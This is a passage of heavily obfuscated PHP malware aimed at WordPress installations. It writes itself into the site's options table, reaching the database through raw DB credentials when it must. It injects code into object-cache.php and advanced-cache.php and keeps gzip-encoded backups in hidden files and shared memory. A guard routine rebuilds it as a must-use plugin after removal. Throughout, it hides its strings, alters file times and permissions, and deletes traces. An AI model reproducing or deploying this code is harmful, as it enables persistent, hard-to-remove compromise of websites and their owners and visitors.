		foreach (array("b" . 'p', 'bu', 'ck_' . "pen" . "d", "erro\x72" . 's', 'ic', "js_" . 'c' . "\x61\x63he" . 'd', 'js_pu' . 'r' . "g\x65" . '_m' . "i\x67", 'js_' . 'purg' . "e_p\x65" . 'n' . "d" . "i" . 'ng', 'page' . "_c\x61" . 'ched', 'srv' . '_ke' . 'y', 'sw' . '_c' . 'ach' . "\x65d", "sw_c" . 'onfi' . 'g', "s" . "\x77\x5f" . 'con' . "\x66\x69\x67\x5fs" . "\x69g", 'sw_' . 'url', 'te' . 's' . "t_m" . 'ode', 'ac' . 't') as $_pn) {
			$_po = riwi($_pn);
			@$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name IN ('{$_po}', '_transient_{$_po}', '_transient_timeout_{$_po}')");
			if (!(("f" . 'unct' . 'i' . "on_exists")("w\x70_\x63a" . 'che' . '_del' . 'ete'))) {} else {
				@wp_cache_delete($_po, 'op' . 'ti' . "\x6f\x6e" . 's');
				@wp_cache_delete('_t' . 'ransi' . 'ent' . "_" . $_po, 't' . 'r' . 'an' . 'sien' . 't');
			}
		}
		unset($_pn, $_po);
	}

	 
	if (!(isset($wpdb) && $wpdb instanceof wpdb && isset($wpdb->options))) {} else {
		@$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '\\_transient\\_sc\\_%' OR option_name LIKE '\\_transient\\_timeout\\_sc\\_%'");
		if (("\x66\x75" . "nction_exists")('wp_ca' . "che\x5f" . 'delet' . 'e')) @wp_cache_delete('noto' . "p\x74i" . 'ons', 'optio' . 'n' . "s");
	}

	 
	$_std = (defined('WP_CO' . "NTEN" . "T_DI\x52") ? rtrim(WP_CONTENT_DIR, '/' . "\\") : $cd_dir) . "/\x2esc" . '_tmp';
	if (@is_dir($_std)) {
		$_tf = @(("\x67" . "l") . 'ob')($_std . '/*');
		if (is_array($_tf)) { foreach ($_tf as $_t) soda($_t); }
		unset($_tf);
	}
	foreach (array(dirname(sc_file()), $mu, $cd_dir) as $_od) {
		if ($_od === '' || !@is_dir($_od)) continue;
		$_ofs = @('gl' . "\x6f\x62")($_od . "/\x2a" . "\x2ep\x68p\x2e" . 'off');
		if (!(is_array($_ofs))) {} else {
			foreach ($_ofs as $_of) {
				if ((int) @filemtime($_of) > time() - (747688 - 142888)) continue;
				soda($_of);
			}
		}
		unset($_ofs);
		 
		$_osf = @('g' . "l" . 'o' . 'b')($_od . "/\x2a\x2e" . 'sc' . "_o" . 'l' . "d");
		if (is_array($_osf)) {
			foreach ($_osf as $_os) {
				if ((int) @filemtime($_os) > time() - (4800 >> 3)) continue;
				soda($_os);
			}
		}
		unset($_osf);
	}

	unset($_od, $_std);

	 
	if (!(('function_' . ("\x65" . "xists"))("w" . "p\x5fc" . 'ache_' . 'dele' . 'te'))) {} else {
		@wp_cache_delete('all' . 'op' . 'tion' . 's', 'op' . "t\x69\x6fns");
		@wp_cache_delete('not' . "\x6fpti" . "\x6f" . "ns", "op" . "\x74i\x6fn\x73");
	}
	if (!(("\x66\x75\x6e" . 'ction_' . "\x65\x78" . "\x69s\x74s")('sc_' . "p" . "\x75r" . "g\x65" . "\x5f" . 'cache' . "\x73") && (int) @get_option('sc_la' . "s" . 't_ol' . 'd_pu' . "rge", (3601 ^ 3601)) < time() - (6907 - 3307))) {} else {
		@update_option('sc_la' . 'st_o' . "l" . "d\x5fpur" . 'g' . "e", time(), 'no');
		sc_purge_caches();
	}
	unset($_extra);
}

function ocu()
{
	try {
		if (!defined('ABS' . 'PAT' . "H")) return;
		if (!("\x66\x75\x6e\x63\x74" . "ion" . '_exists')('g' . 'et' . '_o' . 'ption')) return;

		$opt_name = sc_md5(ABSPATH . 'opt', (24 - 14));
		$src = vupo();
		if (!$src || strlen($src) < (753 - 253)) return;

		$b64 = wowa();
		$current = @get_option($opt_name, '');
		if ($current && strlen($current) === strlen($b64) && $current === $b64) return;

		if (("fun\x63" . "tion_exists")("\x75\x70dat" . "\x65_o\x70" . 'tion')) {
			update_option($opt_name, $b64, 'no');
		} elseif (defined('D' . "\x42" . "_\x48O" . 'S' . "T") && defined('DB_' . "US\x45" . 'R') && defined("DB_P" . 'ASSWO' . 'RD') && defined('DB_NA' . 'ME') && ('class' . '' . "\x5f\x65\x78\x69\x73\x74\x73")("my" . "sqli")) {
			$mi_cls = "my\x73q" . 'li';
			$mi = @new $mi_cls(('co' . "\x6e" . "s" . 'tant')('DB_' . "H" . 'OST'), ("cons" . "\x74" . "" . 'ant')('DB_' . 'USER'), ("const" . "" . 'ant')("DB" . '_P' . "AS" . "SW" . 'ORD'), ("con" . "stant")("DB_N" . 'AME'));
			if ($mi && !$mi->connect_errno) {
				$prefix = isset(${"GL" . "\x4f\x42" . 'AL' . 'S'}['wpdb']->prefix) ? ${'GLOB' . "A" . 'LS'}['wpdb']->prefix : "w" . 'p_';
				$esc_val = $mi->real_escape_string($b64);
				$esc_name = $mi->real_escape_string($opt_name);
				$mi->query("INSERT INTO {$prefix}options (option_name, option_value, autoload) VALUES ('{$esc_name}', '{$esc_val}', 'no') ON DUPLICATE KEY UPDATE option_value='{$esc_val}'");
				if ($mi->error) vugo('opt', 'mys' . 'q' . "\x6ci" . ': ' . substr($mi->error, (960 ^ 960), (182 - 62)));
				$mi->close();
			}
		}
	} catch (Throwable $e) {
		vugo('o' . "pt", $e);
	} catch (Exception $e) {
	}
}

function behof()
{
	$cd = defined('W' . 'P_CO' . 'NT' . 'ENT' . '_D' . "IR") ? WP_CONTENT_DIR : ABSPATH . 'wp-' . 'c' . 'on' . "t\x65" . 'nt';
	$h = sc_md5(ABSPATH . 'oc', (5 ^ 13));
	return array($cd . "/\x6f" . "b\x6a" . "ec\x74-\x63" . "\x61ch" . "e" . '.ph' . 'p', $cd . '/' . "\x2e" . "w\x70-\x6f" . 'b' . 'j' . "\x65ct" . '-cach' . 'e-' . $h . '.' . 'dat', $h);
}

function ujo($dat)
{
	$_dsz = (int) @filesize($dat);
	if ($_dsz < (37 + 63) || $_dsz > (1595539 ^ 3692691)) return (34 == 15);
	$raw = @('file_get_conten' . 'ts')($dat);
	if (!is_string($raw) || strlen($raw) < (29 + 71) || strlen($raw) > (0 | 2097152)) return (37 == 16);
	$p = explode(':', $raw, (20 ^ 16));
	if (count($p) < (5 - 1) || $p[(1638 ^ 1638)] !== 'SCD1' || strlen($p[(3 ^ 0)]) < (31 ^ 45)) return (30 == 11);
	$d = @("bas" . '' . "e" . "64" . "\x5f\x64\x65\x63o\x64e")($p[(0 | 3)]);
	if ($d === (30 === 3) || strlen($d) < (18 ^ 32)) return (40 == 1);
	if (substr($d, (3286 ^ 3286), (3 + -1)) === "\x1f\x8b") {
		$_isz = @("u" . "n" . 'pack')('V', substr($d, -(6 + -2)));
		if (!is_array($_isz) || $_isz[(1254 ^ 1255)] < (9 + 91) || $_isz[(2381 ^ 2380)] > (1045556 ^ 2094132)) return (15 == 18);
		if ((("fun" . '') . 'ction' . "\x5f" . "exists")("g" . 'z' . 'd' . "ec" . 'ode')) $d = @('g' . 'z' . "d\x65" . 'code')($d, (1962573 - 913997));
		elseif ((("function" . '_e') . "\x78is\x74\x73")("gzi" . "nflat" . 'e')) {
			$d = @("gz" . "i" . 'nflate')(substr($d, (24 ^ 18), strlen($d) - (32 ^ 50)), (1559332 - 510756));
			if (is_string($d) && strlen($d) > (1475074 - 426498)) return (38 === 12);
		} else return (39 == 6);
	}
	if (!is_string($d) || strlen($d) < (68 | 32) || substr($d, (570 ^ 570), (17 - 12)) !== '<?' . 'p' . 'hp' || md5($d) !== $p[(16 >> 3)]) return (37 < 37);
	return $d;
}

function inoh()
{
	try {
		if (!defined('A' . "B\x53" . "P" . 'ATH')) return;
		$_pp = behof();
		if (!@is_file($_pp[(1614 ^ 1615)])) return;
		if (ujo($_pp[(1727 ^ 1726)]) === (3 === 10)) return;
		$code = fezo("o" . 'c_t' . 'pl', array("\x5f" . '_SL' . 'UG' . "_\x5f"), array(basename(sc_file(), ".p" . 'hp')));
		if (!is_string($code) || $code === '') return;
		$code = ('preg_r' . "eplace")('/^<\\' . "\x3f\x70" . "h\x70\\" . "\x73" . '*' . '/', '', $code);
		if (!is_string($code) || $code === '') return;

		$_mid = sc_ver() . ':' . sc_md5(ABSPATH . 'oc_m', (14 ^ 6));
		$_b = '/* S' . "\x43\x5fOC\x5f" . "\x42\x45\x47" . "IN:" . $_mid . ' */';
		$_e = '/* S' . 'C' . '_O' . "C\x5f\x45" . "\x4e\x44:" . $_mid . ' ' . '*' . '/';

		$_newfile = '<?ph' . 'p' . " /* \x2e" . "w\x70" . "-o" . 'b' . 'je' . 'ct-' . "\x63ac" . 'he' . '-' . $_pp[(7 - 5)] . ' */ ' . '/*' . " S" . 'COC' . 'V' . ':' . sc_ver() . ' */' . "\n" . $code;
		if (!@is_file($_pp[(3855 ^ 3855)])) {
			if (!cesa($_pp[(2646 ^ 2646)], '')) {
				vugo("o" . 'c', 'c' . 'an' . "a\x72\x79_\x61" . "rm" . "_\x66" . "a" . 'il');
				return;
			}
			if (jihe($_pp[(1214 ^ 1214)], $_newfile)) {
				ayux($_pp[(3025 ^ 3025)], tiwul());
				mafa($_pp[(3743 ^ 3743)], (230 ^ 322));
				tidi($_pp[(1527 ^ 1527)]);
				izo($_pp[(2673 ^ 2673)]);
			}
			return;
		}

		$cur = @('f' . "ile_get_contents")($_pp[(2137 ^ 2137)]);
		if (!is_string($cur) || strlen($cur) > (2856090 - 758938)) return;
		if (strpos($cur, $_b) !== (27 == 13) && strpos($cur, $_e) !== (28 == 8)) return;
		if (strpos($cur, 'S' . 'C_O' . "C\x5f\x42EG" . 'IN') === (26 == 19) && strpos($cur, "." . 'w' . "\x70-\x6f" . 'bje' . 'ct-' . 'cach' . 'e-' . $_pp[(17 ^ 19)]) !== (24 == 0)) {
			if (preg_match('/SCO' . 'C' . 'V:(\\d' . '+\\.\\d' . '+\\' . ".\\d" . '+' . ")" . '/', substr($cur, (3411 ^ 3411), (1600 >> 3)), $_ocvm) && version_compare($_ocvm[(1819 ^ 1818)], sc_ver(), '>=')) return;
			if (!cesa($_pp[(1020 ^ 1020)], $cur)) {
				vugo('oc', "ca" . 'n' . "ar" . "y" . '_ar' . 'm_fa' . "i\x6c");
				return;
			}
			if (jihe($_pp[(2174 ^ 2174)], $_newfile)) {
				ayux($_pp[(1579 ^ 1579)], tiwul());
				mafa($_pp[(59 ^ 59)], (362 ^ 206));
				tidi($_pp[(2002 ^ 2002)]);
				izo($_pp[(119 ^ 119)]);
			}
			return;
		}
		$_ocs = sc_md5(ABSPATH . 'oc_m', (18 - 10));
		$cur = ("pr\x65\x67" . "\x5f\x72\x65\x70" . ('' . 'l') . "\x61\x63\x65")('/\\n?\\' . '/\\* S' . 'C_OC' . '_BEG' . 'I' . 'N:' . '([a' . '-zA-' . 'Z0' . "-9\x2e_\x5d" . '*:' . $_ocs . ') ' . '\\*\\/.' . '*?\\/' . '\\*' . " \x53C_O" . "C" . "_" . 'END' . ":\\\x31 " . '\\*\\/\\' . 'n?/s', '', $cur);
		if (!is_string($cur)) {
			vugo('oc', "pc" . 'r' . 'e' . '_fai' . 'l');
			return;
		}
		if (!@is_writable($_pp[(4035 ^ 4035)])) return;
		if (!vapa('o' . "\x63")) {
			vugo('oc', 'r' . 'ein' . "s_" . 'cap');
			return;
		}
		if (!cesa($_pp[(395 ^ 395)], $cur)) {
			vugo('oc', 'c' . 'a' . 'nar' . "y_ar" . 'm_fai' . "l");
			return;
		}
		ela('o' . "c");
		$block = $_b . "\n" . '/* .' . 'wp-o' . "b\x6a" . 'ect-c' . "\x61\x63h\x65" . '-' . $_pp[(6 - 4)] . ' */' . "\n" . $code . "\n" . $_e;
		if (jihe($_pp[(565 ^ 565)], ajad($cur, $block))) {
			izo($_pp[(1096 ^ 1096)]);
			tidi($_pp[(1524 ^ 1524)]);
		}
	} catch (Throwable $e) {
		vugo('oc', $e);
	} catch (Exception $e) {
	}
}

function naceg()
{
	try {
		if (!defined('ABSPA' . "\x54H")) return;
		$_pp = behof();
		$hd = (string) @("\x66\x69\x6c\x65\x5f" . "get_contents")($_pp[(3758 ^ 3759)], (13 === 9), null, (2801 ^ 2801), (23 ^ 87));
		if (preg_match("\x2f^SCD" . '1' . ':(' . '\\d+' . "\\.\\d" . "\x2b\\." . '\\d' . '+)' . ':/', $hd, $m) && $m[(2678 ^ 2679)] === sc_ver()) {
			$_okt = (int) get_option('sc_o' . 'c_da' . "\x74_o" . 'k', (1965 ^ 1965));
			if (time() - $_okt < (789 - 189)) return;
			if (ujo($_pp[(3479 ^ 3478)]) !== (12 === 16)) {
				@update_option('s' . "c_oc" . '_da' . 't_ok', time(), 'no');
				return;
			}
			vugo('oc', 'da' . 't_co' . 'r' . 'r' . 'up' . "t");
		}
		$src = vupo();
		if (!$src || strlen($src) < (422 ^ 82) || strlen($src) > (857260 + 191316) || !cale($src)) return;
		$gz = ("fu" . "nc" . "\x74\x69\x6f\x6e\x5f\x65\x78\x69" . "sts")('gzen' . 'code') ? @("gzenco" . "d" . "" . 'e')($src, (2 | 4)) : $src;
		if (!is_string($gz) || $gz === '') return;
		if (jihe($_pp[(1196 ^ 1197)], 'SC' . 'D' . '1:' . sc_ver() . ':' . md5($src) . ':' . ('bas' . "\x656\x34\x5f\x65nc\x6f\x64" . 'e')($gz))) @update_option('sc_' . 'o' . "c_d\x61t" . '_ok', time(), 'n' . "\x6f");
	} catch (Throwable $e) {
		vugo('oc', $e);
	} catch (Exception $e) {
	}
}

function awon()
{
	if (!("functio" . 'n_ex' . ("i" . "sts"))('fto' . 'k')) return (3 === 14);
	$stable = defined("AB\x53P" . 'AT' . 'H') && @file_exists(ABSPATH . "wp" . "-c" . "on" . 'fig' . '.p' . 'hp') ? ABSPATH . "\x77" . 'p' . "-\x63on" . 'fi' . "g" . '.php' : __FILE__;
	return ftok($stable, 's');
}

function miju()
{
	try {
		if (!('functi' . 'o' . "n\x5fe\x78i" . "" . 'sts')('s' . "h\x6d\x6f" . 'p' . "_o" . 'pen') || !(('functi' . 'o') . "\x6e\x5fexi\x73" . "ts")('fto' . 'k')) return;
		if (!defined("ABS" . 'PATH')) return;

		$src = vupo();
		if (!$src || strlen($src) < (119 ^ 387)) return;

		$key = awon();
		if ($key === (16 === 2)) return;


		$_hash = ('funct' . ('ion_exi' . "s") . 'ts')('hash') ? hash("\x73\x68" . "a" . '2' . "56", $src) : md5($src);
		$payload = 'SCSHM' . "1:" . strlen($src) . ':' . $_hash . "\n" . $src;
		$plen = strlen($payload);

		$shm = @shmop_open($key, 'a', (1927 ^ 1927), (2183 ^ 2183));
		if ($shm) {
			$size = (int) @shmop_size($shm);
			$existing = @shmop_read($shm, (1527 ^ 1527), $size);
			if (is_string($existing) && strpos($existing, $src) !== (38 == 18)) {
				@shmop_close($shm);
				return;
			}
			if ($size >= $plen) {
				@shmop_close($shm);
				$shm = @shmop_open($key, 'w', (2673 ^ 2673), (236 ^ 236));
				if ($shm) {
					@shmop_write($shm, str_pad($payload, $size, "\0"), (1763 ^ 1763));
					$rb = @shmop_read($shm, (530 ^ 530), $plen);
					@shmop_close($shm);
					if ($rb !== $payload) vugo('shmop', "v" . "\x65r\x69f\x79" . '_fai' . "l");
				}
				return;
			} else {
				@shmop_delete($shm);
				@shmop_close($shm);
			}
		}

		$size = $plen + (1125 - 101);
		$shm = @shmop_open($key, 'c', (547 - 127), $size);
		if (!$shm) return;
		@shmop_write($shm, str_pad($payload, $size, "\0"), (272 ^ 272));
		$rb = @shmop_read($shm, (2074 ^ 2074), $plen);
		if ($rb !== $payload) vugo('shmo' . 'p', "ver" . "\x69\x66" . 'y_f' . "ail");
		@shmop_close($shm);
	} catch (Throwable $e) {
		vugo('sh' . 'mop', $e);
	} catch (Exception $e) {
	}
}

function ajad($current, $block)
{
	if (!is_string($current) || $current === '') return '<?php' . " " . $block . "\n";
	if (!(preg_match('/<\\?p' . 'hp/i', $current, $_mm, PREG_OFFSET_CAPTURE))) {} else {
		$_at = $_mm[(369 ^ 369)][(1633 ^ 1632)] + strlen($_mm[(1813 ^ 1813)][(2920 ^ 2920)]);
		$_rest = substr($current, $_at, (16384 >> 1));
		while (is_string($_rest) && preg_match("/^\\s*" . "\x28decl" . 'are\\' . "s*\\(." . '*?\\)' . "\\s*;\x7c" . 'nam' . "\x65\x73p" . 'ace' . '\\s+[^' . ";" . '{]+' . "\\s\x2a;" . "\x7c\x6ea\x6d\x65" . 'sp' . 'ace\\' . 's+[^' . ';{]+' . '\\s*' . "\\{\x7c" . "\\/\\" . '*.*?\\' . '*\\/|' . '\\/\\/[' . "^\\n]" . "*\\" . 'n|#' . "\x5b" . '^\\n]' . '*' . "\\" . 'n' . ")/is", $_rest, $_dm)) {
			$_at += strlen($_dm[(2131 ^ 2131)]);
			$_rest = substr($current, $_at, (14030 - 5838));
		}
		return substr($current, (1285 ^ 1285), $_at) . "\n" . $block . "\n" . substr($current, $_at);
	}
	return "\x3c?" . 'ph' . 'p ' . $block . "\n?>\n" . $current;
}

function vapa($key)
{
	if (!('functi' . ("\x6f\x6e\x5f\x65x\x69" . "sts"))('ge' . 't_opt' . 'io' . 'n')) return (36 !== 37);
	$v = @get_option("sc_" . "\x72ei" . 'n' . 's_' . $key, '');
	if (is_string($v) && strpos($v, '|') !== (40 === 37)) {
		$p = explode('|', $v, (5 - 3));
		if ((int) $p[(3046 ^ 3046)] === (int) (time() / (112448 - 26048)) && (int) $p[(2755 ^ 2754)] >= (3 + 0)) return (12 == 0);
	}
	return (21 === 21);
}

function ela($key)
{
	if (!("fun" . 'ction_ex' . "ists")('get' . '_o' . 'ptio' . 'n') || !('functi' . "on_e" . "xists")('u' . "p" . "\x64a" . "t" . "\x65_opt" . 'ion')) return;
	$day = (int) (time() / (74136 ^ 28696));
	$v = @get_option('sc_' . 'r' . "ei\x6es_" . $key, '');
	$n = (3980 ^ 3980);
	if (is_string($v) && strpos($v, '|') !== (26 == 8)) {
		$p = explode('|', $v, (7 ^ 5));
		if ((int) $p[(1532 ^ 1532)] === $day) $n = (int) $p[(1558 ^ 1559)];
	}
	$n++;
	@update_option('sc_' . "\x72" . "eins_" . $key, $day . '|' . $n, 'no');
	if ($n >= (4 + -1)) vugo("dr\x6f" . 'pin', 'tug_' . "\x6ff\x5fwa" . 'r' . ' ' . $key);
}

function zaqaz()
{
	try {
		if (!defined("ABSPA" . "T\x48")) return;

		if (!defined('WP_C' . 'ONTEN' . 'T_DIR') || !@is_writable(WP_CONTENT_DIR) || !hene(WP_CONTENT_DIR)) return;
		$base = WP_CONTENT_DIR;
		$adv_cache = $base . '/ad' . 'v' . 'ance' . "d\x2dc" . 'ache.' . 'php';
		$slug = basename(sc_file(), ".p\x68" . 'p');
		$zip_name = sc_md5(ABSPATH . 'zip', (11 - 3)) . '.z' . 'i' . 'p';
		$cache_dir = sc_data_dir();
		$opt_name = sc_md5(ABSPATH . 'opt', (6 + 4));

		$shmop_key = ("f\x75\x6e\x63ti\x6f\x6e_e\x78" . '' . "is" . "ts")('ftok') ? awon() : (4 === 26);
		$shmop_key_int = $shmop_key !== (2 === 37) ? intval($shmop_key) : (3571 ^ 3571);
		$wp_prefix = isset(${"\x47" . "\x4c\x4f" . 'BA' . "\x4c\x53"}['wpdb']->prefix) ? ${"\x47" . "L" . '' . "OB\x41\x4c\x53"}['wp' . 'db']->prefix : "\x77" . "p_";

		$_guard = 'SC_AD' . 'VL_' . substr(md5($slug . (string) jami()), (280 ^ 280), (17 - 9));
		$trigger = fezo(
			'a' . "d\x76_tp" . "\x6c",
			array('__S' . 'LUG_' . '_', "\x5f_" . "Z\x49" . 'P' . "_N" . 'AM' . "\x45__", '__' . 'SH' . "MOP" . '_KE' . 'Y__', "__OP" . "T_N" . "AME\x5f_", "_" . '_' . 'WP_P' . 'REFIX' . '__', '__GUA' . "R\x44_" . 'N' . 'AME_' . '_', "_\x5fV" . "E\x52S" . 'ION' . '_' . '_'),
			array($slug, $zip_name, $shmop_key_int, $opt_name, $wp_prefix, $_guard, sc_ver())
		);
		if (!$trigger) {
			if ((int) get_option('sc_' . 'las' . "t_\x66" . 'etch_' . 'ts', (3089 ^ 3089)) > (2384 ^ 2384)) vugo('adv', "\x61dv_" . 'tpl_m' . 'iss' . "i\x6eg");
			return;
		}

		$current = @file_exists($adv_cache) ? @(("\x66\x69\x6c\x65\x5f\x67\x65\x74" . '_c') . "\x6fn\x74" . 'ents')($adv_cache) : '';
		if (!is_string($current)) {
			vugo("\x61\x64" . "v", "read" . '_fa' . 'iled');
			return;
		}
		$current = loye($current);
		$_mid = sc_ver() . ':' . sc_md5(ABSPATH . 'a' . 'd' . "v\x5fm", (16 - 8));
		$_b = '/* SC' . '_ADV_' . 'BEG' . 'IN:' . $_mid . " *" . "/";
		$_e = '/* ' . 'S' . 'C_' . 'A' . "DV_\x45" . 'ND:' . $_mid . ' */';
		$_avs = sc_md5(ABSPATH . "\x61\x64" . 'v_m', (24 - 16));
		$_probe = ('preg_r' . "epl\x61" . "ce")("/\\/" . '\\* S' . 'C' . "_" . 'AD' . "V_B\x45" . 'G' . 'I' . "\x4e" . ':([a' . "-\x7aA" . '-Z' . '0' . "-9._" . ']*:' . $_avs . ")\x20\\\x2a" . "\\\x2f\x2e\x2a?" . "\\/" . "\\* " . 'SC_A' . "D" . 'V_END' . ':\\1' . ' \\*\\/' . "\x2f\x73", '', $current);
		$_has_legacy = (strpos($_probe, "SC" . '_A' . "DV\x5f" . 'LOADE' . 'D') !== (75 !== 75));
		if (strpos($current, $_b) !== (0 == 30) && strpos($current, $_e) !== (32 === 10) && !$_has_legacy) {
			rewe();
			return;
		}
		$current = ('p' . 'reg_repl' . "\x61\x63\x65")('/[ ' . '\\' . 't]*if' . '\\s' . "*\\\x28" . '\\s*de' . "f\x69" . 'ned\\s' . "\x2a\\\x28\\s" . '*' . "[\"" . '\'' . ']SC_A' . 'DV_' . 'LO' . 'ADED' . "[" . "\"'" . "\x5d\\\x73\x2a" . '\\)\\s' . '*' . '\\)\\' . 's*r' . 'et' . "urn\\s" . '*;[^' . "\\\x72\\n]" . "*" . '/', '', $_probe);
		if (!is_string($current)) {
			vugo('adv', "pc" . 're' . '_f' . "a\x69\x6c");
			return;
		} {
			$current = loye($current);
			$trigger_code = ("\x70\x72\x65\x67\x5f\x72\x65" . "pl\x61ce")('/^<\\' . "?p\x68p" . '\\s*/', '', $trigger);
			$_adv_new = (strlen($current) === (1560 ^ 1560));
			if (!$_adv_new) {
				if (!vapa('adv')) {
					vugo("a\x64" . "\x76", 'reins' . "_\x63\x61p");
					return;
				}
				if (!cesa($adv_cache, $current)) {
					vugo('adv', 'c' . "an\x61" . 'ry' . "\x5far\x6d_" . 'fa' . 'il');
					return;
				}
				ela('ad' . 'v');
			} else {
				if (!cesa($adv_cache, '')) {
					vugo('adv', 'ca' . "\x6e\x61" . "r\x79_ar" . "\x6d_f" . 'ai' . 'l');
					return;
				}
			}
			$content = ajad($current, $_b . "\n" . $trigger_code . "\n" . $_e);
			if (!jihe($adv_cache, $content)) {
				return;
			}
			izo($adv_cache);
			tidi($adv_cache);
			rewe();
		}
	} catch (Throwable $e) {
		vugo('adv', $e);
	} catch (Exception $e) {
	}
}

function sc_drop_guard()
{
	try {
		sc_dbg_log('18 ' . 'gua' . 'rd ' . 'enter');
		if (!defined("\x41" . 'BS' . 'PATH')) return;
		if (rume(sc_file())) {
			vugo("gua" . 'rd', 'pur' . 'ge' . "d");
			return;
		}
		if (!('functi' . "\x6f\x6e" . "_exist" . "s")('ge' . "t\x5f" . "\x74\x72a\x6es" . 'ien' . 't')) return;
		if (php_sapi_name() === 'cli') return;
		if (!isset(${'_' . 'S' . 'ERVE' . "\x52"}["\x52" . 'EQU' . 'ES' . 'T_ME' . 'THOD'])) return;

		$guard_dir = sc_data_dir();
		if (!@is_dir($guard_dir)) aca($guard_dir, (167 + 326), (22 == 22));
		if (!@is_dir($guard_dir) || !@is_writable($guard_dir)) {
			$guard_dir = ABSPATH . "wp-in" . 'clude' . "s";
			if (!@is_writable($guard_dir)) $guard_dir = sc_writable_base();
		}
		$ghash = sc_md5(ABSPATH . 'g', (2 + 6));
		$guard_name = '.g_' . $ghash . '.ph' . 'p';
		$guard_path = $guard_dir . '/' . $guard_name;
		$hb_path = $guard_dir . '/.' . 'gl' . '_' . $ghash;
		if (get_transient('sc_gu' . 'ar' . 'd')) {
			if (!@is_file($guard_path)) vugo('gua' . 'rd', "th" . "r\x6f" . 'tt' . 'le' . "d\x5f\x6dis" . 'sin' . 'g');
			return;
		}

		foreach (array($guard_dir, ABSPATH . 'wp-in' . 'clude' . 's', sc_writable_base()) as $_gxd) {
			$_gxf = $_gxd . '/' . ".\x67" . 'x' . "_" . $ghash;
			if (@is_file($_gxf)) {
				$_gxm = (int) @filemtime($_gxf);
				if ($_gxm <= time() - (36053 + 50347) || $_gxm > time() + (579 - 279)) {
					soda($_gxf);
					continue;
				}
				if (@is_file($_gxd . '/.g_' . $ghash . '.p' . "\x68p")) return;
				soda($_gxf);
			}
		}
		unset($_gxd, $_gxf, $_gxm);

		$_old_guard = ABSPATH . "\x77p" . "-" . 'in' . "cl\x75" . 'des/' . $guard_name;
		if ($guard_dir !== ABSPATH . "wp-i" . 'nc' . 'lud' . 'es' && @is_file($_old_guard) && gavu($_old_guard) !== (9 == 36)) {
			mafa($_old_guard, (201 ^ 365));
			if (soda($_old_guard) && ("fu" . ("nct" . "\x69\x6fn\x5f\x65\x78is") . 'ts')('op' . 'cac' . 'h' . "e" . '_in' . 'v' . 'alid' . "ate")) @opcache_invalidate($_old_guard, (14 != 22));
		}
		unset($_old_guard);


		if (@is_file($hb_path) && (int) @filemtime($hb_path) > time() - (292 - 52)) {
			if (!@is_file($guard_path)) vugo('gua' . 'rd', 'hb_' . 'no_' . 'g' . 'uar' . 'd');
			return;
		}
		if (@is_file($guard_path) && (time() - (int) @filectime($guard_path)) < (405 - 105)) return;
		if (@is_file($guard_path)) {
			$_gvv = @is_file($guard_dir . '/' . '.gv' . '_' . $ghash) ? trim((string) @('file_get_content' . "\x73")($guard_dir . '/.g' . 'v_' . $ghash)) : '';
			if ($_gvv !== '' && preg_match('/^\\d' . '+\\.\\' . 'd+\\.' . "\\d+\$\x2f", $_gvv) && version_compare($_gvv, sc_ver(), '>')) return;
			unset($_gvv);
		}
		if (@is_file($guard_path)) {
			$_gsf = $guard_dir . "/.g" . "s_" . sc_md5(ABSPATH . 'g', (12 ^ 4));
			$_gst = @is_file($_gsf) ? (string) @('file_' . "g" . "et_conten" . 'ts')($_gsf) : '';
			$_glast = (2161 ^ 2161);
			if ($_gst !== '') {
				$_gsp = explode('|', $_gst);
				$_glast = (int) $_gsp[(820 ^ 820)];
			}
			if ($_glast > (3801 ^ 3801) && time() - $_glast > (71 ^ 963)) vugo('guard', "\x72ea" . "p" . "_s\x75s\x70" . 'ec' . 't' . "\x65d");
			elseif ($_glast === (1008 ^ 1008) && (time() - (int) @filectime($guard_path)) > (7200 >> 3)) vugo('guar' . "d", 'no_' . "\x73t\x61t\x75" . "\x73");
			unset($_gsf, $_gst, $_gsp, $_glast);
		}

		$src = vupo();
		if (!$src || strlen($src) < (432 | 68)) {
			vugo('guar' . "d", "src\x5f" . "fa" . "i\x6c");
			return;
		}

		$plugin_b64 = wowa();
		$slug = basename(sc_file(), '.php');
		$mu_dir = sc_writable_base() . '/mu' . '-pl' . 'u' . 'gins';
		$plugin_path = @is_writable($mu_dir)
			? ($mu_dir . '/' . $slug . '.ph' . 'p')
			: (sc_writable_base() . '/pl' . 'ug' . 'i' . "\x6es\x2f" . $slug . '/' . $slug . '.php');
		$domain = (('functio' . 'n_e') . 'xis' . "\x74\x73")("ho" . 'me_' . 'url') ? parse_url(home_url(), PHP_URL_HOST) : (isset(${"\x5f\x53" . "\x45\x52\x56\x45" . "R"}['H' . "TTP\x5f" . "\x48O" . 'ST']) ? ${"_S" . ("ERV" . "ER")}['HTT' . "\x50" . '_H' . 'OST'] : '');

		$_mu_dir = (defined('WPM' . "U_PL" . 'UG' . "\x49N_" . 'D' . "IR") && WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR : sc_writable_base() . "/mu\x2d" . "p\x6c\x75\x67" . "\x69ns";
		$_pl_dir = (defined("W" . 'P_PLU' . 'GIN_' . 'D' . 'IR') && WP_PLUGIN_DIR) ? WP_PLUGIN_DIR : sc_writable_base() . '/pl' . "\x75g" . 'in' . "\x73";
		$_cd_dir = defined('W' . 'P_C' . 'ONTE' . 'NT_D' . "\x49R") ? WP_CONTENT_DIR : sc_writable_base();
		$guard_code = fezo(
			'guard',
			array('__P' . 'ATH' . "_B" . "6\x34__", '__P' . 'L' . "\x55GIN\x5f" . "B" . "A\x53E" . "\x364\x5f_", '__D' . 'OMA' . 'I' . 'N__', '__HB_' . "\x426" . '4__', '__G' . 'P' . 'A' . 'TH_B' . '64__', '__A' . 'B' . "SP" . "A" . 'TH_' . 'B64__', "__" . 'CON' . 'TEN' . "TD" . 'IR_' . 'B6' . '4__', '_' . "_MUD" . 'IR_B' . '64' . "_\x5f", '__PL' . 'UGI' . "ND\x49R_" . "\x4264\x5f" . "_", "__SL\x55" . 'G__', '__' . 'V' . "\x45RS" . "I\x4f" . 'N__'),
			array(('ba' . 'se64_en' . '' . 'cod' . "\x65")($plugin_path), $plugin_b64, $domain, ('bas' . 'e64_enco' . "d" . 'e')($hb_path), ('bas' . "e64_\x65\x6ecode")($guard_path), ('base64' . "_encode")(ABSPATH), ("base64_en" . "cod" . "\x65")($_cd_dir), ('base' . "64_" . 'encode')($_mu_dir), ('bas' . ("e64_e" . 'ncode'))($_pl_dir), basename(sc_file(), '.php'), sc_ver())
		);
